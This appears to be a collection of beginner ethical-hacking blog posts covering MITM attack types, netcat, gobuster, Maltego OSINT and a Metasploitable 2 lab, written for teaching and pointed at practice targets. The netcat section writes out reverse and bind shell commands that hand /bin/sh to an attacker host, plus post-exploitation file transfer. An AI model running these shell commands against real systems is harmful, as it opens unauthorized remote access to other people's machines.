Author: Anamar Taknev

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Man in the Middle (MiTM) attack for beginners

Hello aspiring ethical hackers. In this blogpost, you will learn about Man in the Middle (MITM) attack. You know how does normal communication take place in cyber world. For example, you as a user communicate with a trusted server or resource thinking that the data you send is safely received by the trusted server and vice versa. What if its not.

What is Man in the middle attack (MITM)?

In Man in the middle (MITM) attack, a hacker intercepts the communication between a trusted user and server. The information he/she intercepts can be used for malicious purposes.

There are different types of MITM attacks. They are,

1. IP spoofing:

In this attack, the hacker spoofs the IP address of the normal user. Learn more about IP spoofing.

2. Wi Fi MiTM:

In this attack, hackers setup a fake wireless access point that is open. Learn more about evll twin attack.

3. Sniffing passwords:

If the credentials are being transmitted in cleartext without any encryption in the network, they can be viewed by hackers. Learn more about password sniffing.

4. Session hijacking:

In this type of MiTM attack, the session is hijacked. Learn more about session hijacking.

5. HTTPS spoofing:

HTTPS is considered secure as data is transmitted in encrypted format in this. However, even this can be spoofed.

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    Hackers guide to netcat

    Hello, aspiring ethical hackers. In this blogpost, you will learn about the tool netcat and its use for ethical hackers. This tool along with Nmap is given a wide berth in ethical hacking courses as it can create any kind of connections.

    Netcat, also known as swiss army knife in cybersecurity circles is a multi-utility tool that can perform various functions for a pen tester. Let’s learn about all the uses of it for ethical hackers.

    Port scanning

    Although not as versatile as Nmap, it can perform port scanning for you during scanning stage of a hack. It is less noisy and unconventional. Let’s see port 80 is open on our target system using netcat.

    nc -zv <target ip> <target port>

    You can scan multiple ports at once using netcat.

    nc -zv <target ip> <target port 1> <target port 2> <target port 3>

    You can even scan a range of ports at once using it.

    nc -zv <target ip> <range of ports>

    Grabbing banners

    There are other awesome banner grabbing tools but in case of subtlety netcat can also grab banners in its own quite sense. This may be helpful when you have completed gaining access on the target network and wish to grab banners of the services running from inside. It is easy to transport to the target network. This is how simple it is to grab banners with netcat. All you have to do is specify the text IP and port and hit ENTER.

    nc <target ip> <target port>

    For HTTP, after specifying target IP and post, type “HTTP 1.1 100” as shown below to grab the banner.

    File Transfer

    This function of netcat comes useful during Post-exploitation stage after you have gained access to the target system. Netcat can help you in transferring files to the target system from the attacker system. Note that both the attacker and target systems should have netcat installed.

    Let’s demonstrate this. For this, we will be transferring the same file used during tutorial of steghide. First, on the target system, type the command shown below using the name of the file to be transferred.

    nc -l -p <target port> > <file>

    Then on the attacker system, type the below command.

    nc <target IP> <target port> < <file>

    Here is the file that is transferred to the target system.

    Bind and Reverse shells

    You have learnt about shell and different types of shells in our previous blogposts. If you want to have a quite shell after gaining access, netcat can do it for you. The most familiar scenario is gaining a reverse shell. Let’s see how to get a reverse shell with netcat. Note that there are two types of netcat available. With the original netcat, users seem to be facing some problems in gaining a shell.

    Another netcat is available from the makers of Nmap. Called as “ncat”, let’s use it to get a reverse shell first. On the attacker system, type the command shown below to start a listener.

    ncat -lvp <port to listen on>

    Then, type the command shown below on the target system.

    ncat <attacker system's ip> <port attacker is listening on> -e /bin/sh

    As soon as you do that on the target system, we get a shell on the attacker system.

    To get a bind shell, first we need to start a listener on the target system as shown below.

    ncat -lvp <port to listen on> -e /bin/sh

    Then on the attacker system, do this.

    nc <target IP> <target port>

    Here’s the bind shell.

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    Beginners guide to gobuster tool

    Hello, aspiring ethical hackers. In one of our previous blogposts, you studied in detail about website footprinting and different methods used to gather information about a website. In it you have learnt that directory scanning and subdomain enumeration is one of the techniques used to gather information about a website. In this blogpost you will learn about a tool named gobuster which can do both.

    Gobuster is a tool built in Go programming language that can brute-force URIs (directories and files) in websites, DNS subdomains, virtual host names on target web servers, open Amazon S3 buckets, open Google cloud buckets and TFTP servers. It is present by default in the repositories of Kali Linux and can be installed by just typing the command as shown below.

    Once installed, gobuster can be used using the same command.

    There are different modes in gobuster tool for different operations. No matter what mode you use, since Gobuster is a brute-forcing tool it needs a wordlist. Let’s see how to scan web directories first. For this tutorial, we will be using Mutillidae as our target. It is installed by default in Metasploitable 2. See how to install Metasploitable 2 in VirtualBox and see how to create a web application penetration testing lab.

    Let’s see how to scan directories with Gobuster.

    Let’s explain the options here.

    dir – to scan for directories.

    -u: URL to be scanned.

    -w: wordlist from which earlier are scanned.

    Here is the result of this scan.

    You can see that gobuster found some interesting files along with a file named “passwords”. As an exercise, scan DVWA also as it is also installed by default on Metasploitable 2.

    Now, lets see how to scan for subdomains using gobuster. We have to just change the “dir” option to “dns”.

    Learn how to perform directory scanning with dirb.

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    Beginners guide to Maltego

    Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt what is OSINT in detail. In this blogpost, you will learn about Maltego, one of the most popular tools used to perform OSINT. Maltego is an open-source tool that is used for OSINT, forensics and other investigations. It is a link analysis software that offers real-time information gathering.

    Maltego focuses on analyzing real world relationships between people, groups, webpages, domains, networks internet infrastructure and what not. Using maltego, we can extract information like DNS records, whois records, Phone numbers, email addresses, IP addresses and metadata etc.

    Some of the most important data sources queried by Maltego include vulners, dorking, OpenPhish, Image Analyzer, Hunter, Censys, Google Social Network Tools, VirusTotal Premium, NIST, Pipl, Whois XML, Wayback machine, Phone Search, Shodan etc.

    Maltego runs on Linux, MacOS and Windows. For this tutorial, we will be using Maltego on Kali Linux. Open terminal and type command “maltego”. The system will prompt you if you want to install maltego as shown below.

    After the installation is finished, Maltego will prompt you to select a product. You need to have an account with Maltego to use it. Register for a free account. (Maltego CE (FREE) account by clicking on “Register”.

    Accept the terms and click on “Next”.

    (You can either create a account from this tool or create it from their website). Login into your account.

    You will be taken to the browser. Login into your account created earlier.

    After a few seconds, you will get a message that the authentication is complete.

    Click on “Next”. Select “standard transform” option and click on “Next”.

    Click on “Next”.

    In the next window, make appropriate choice and click on “Next”.

    Choose a browser and click on “Next”.

    Click on “Next”.

    Select the option “Open a blank graph and let me play around” option and click on “Finish”.

    If you select the option “Open an example graph”. You will see this.

    You will get to the interface of Maltego. Maltego calls the queries you search for as entities. These entities can be anything like name of a person, IP address, email address, domain etc. In the entity Palette, search for “email” as shown below and drag the result into the graph.

    Click on the entity in the graph to change it to the email address you want to search for.

    For example, let’s search for information related to our company.

    In order to search for anything related to this email, right click on the entity.

    There are various transforms you can search for like IP addresses, domains etc. Click on running on all transforms to see all the transforms available.

    From here, you can select any transform you want. For example, run “to domains”.

    As you can see, the domain related to this email is displayed. You have read just now that Maltego is a link building software. We can also run a transform on this resultant domain. For example, right click on the domain, and select To email addresses transform again.

    Like this, we can search for related email addresses, Phone number, domain, DNS entries, usernames, social media accounts, etc. using this tool. Learn how to perform OSINT using SpiderFoot.

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    Hacking Metasploitable 2: Comprehensive guide

    Hello, aspiring ethical hackers. In this blogpost, you will learn about Metasploitable 2. While learning ethical hacking, every student may feel like he is understanding everything while listening to the theory classes and find himself/herself stumped while performing practical. That is the reason practice is must for every learner.

    This brings forward another problem hacking students may face while looking to practice. What to practice on or how to practice. Can you practice on real-world networks? If the thought of practicing your skills on real-world targets allures you, remember that almost all countries around the world have stringent anti-hacking laws. Your intent may not protect you from going to jail. Not to forget the point that you will not get favorable targets for practicing your skills. What if there was a safe way to practice all our hacking skills in peace and contentment? This brings us to Metasploitable.

    What is Metasploitable 2?

    Metasploitable is a test environment that gives you a safe target to practice pen testing. It is designed to be intentionally vulnerable with many number of vulnerabilities. Apart from vulnerabilities, it has a lot of services that are made vulnerable to be exploited. Overall Metasploitable 2 can give you lot of practice to hone your cybersecurity skills. This article is a comprehensive guide on hacking Metasploitable 2. Normally this requires Metasploit.

    See how to install Metasploitable 2 in VirtualBox.

    Metasploitable 2 is our target system to practice our pen testing skills. To practice perfectly, you need lot of tools. Better than tools, It’s good to have an attacker system that has a collection of all the pen testing tools. There are many pen testing distros on internet. For its popularity, I will select Kali Linux.

    See how to install Kali Linux in VirtualBox.

    Let’s create a hacking lab using both these systems.

    See how to create virtual hacking lab on VirtualBox.